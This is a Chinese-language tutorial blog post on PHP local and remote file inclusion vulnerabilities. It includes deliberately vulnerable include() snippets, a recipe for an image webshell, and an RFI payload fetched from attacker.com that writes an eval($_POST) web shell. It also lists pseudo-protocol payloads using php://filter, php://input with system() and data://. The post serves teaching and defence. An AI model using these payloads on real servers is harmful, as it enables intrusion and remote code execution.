文件包含漏洞

概述

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件, 而无需再次编写,这中文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用, 但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含函数

  • include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
  • include_once()和require_once():若文件中代码已被包含则不会再次包含

漏洞产生原因

  • 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
  • 用户能够控制该动态变量
    注:PHP中只要文件内容符合PHP语法规范,包含时不管扩展名是什么都会被PHP解析,
    若文件内容不符合PHP语法规范则会暴漏其源码。

漏洞分类危害

本地文件包含:
可以包含本地文件,在条件允许时甚至能执行代码
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件

远程文件包含:
可以直接执行任意代码
要保证php.ini中allow_url_fopen和allow_url_include要为On
允许打开url文件和允许引用url文件

执行任意代码,包含恶意文件控制网站,控制服务器

本地文件包含LFI(local file include)

当被包含的文件在服务器本地时,就形成本地文件包含

直接包含文件无限制

<?php
$filename = $_GET['filename'];
include($filename);
?>

直接包含文件有限制

<?php
$filename = $_GET['filename'];
include($filename.".html");
?>

%00截断

  • php版本< 5.3.4 ;
  • php的magic_quotes_gpc为OFF状态

长度截断

特殊符号截断
%23 %20 ?截断
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20

本地包含配合文件上传

cmd下合成图片木马 copy 1.jpg/b+1.php xxx.jpg
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。

远程文件包含RFI(remote file include)

当被包含的文件在其他服务器时,叫做远程文件包含

php.ini参数设置
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

远程包含Shell

如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,echo.txt代码如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[xxser]);?>

php伪协议

事实就是支持的协议和封装的协议12种
file:// - 访问本地文件系统
http:// - 访问http网站
ftp:// - 访问FTP(s)URLS
php:// - 访问各个输入输出流
zlib:// - 压缩流
data:// - 数据(RFC 2397)
glob:// -查找匹配的文件路径模型
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// - 音频流
expect:// - 处理交互式的流

payload

file 协议 :

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php         //包含文件

php filter :

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php    // 读取php文件时要base64编码

php input :

http://localhost/www/lfi.php?file=php://input
POST	<?system('ipconfig')?>        //写入php代码

zip://协议
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等,把php文件压缩成zip文件,修改后缀为jpg格式,上传后通过zip协议读取图片中的php文件

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

data://

http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=

参考自# 文件包含&PHP伪协议利用# 文件包含漏洞简介
# 浅谈“文件包含”

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值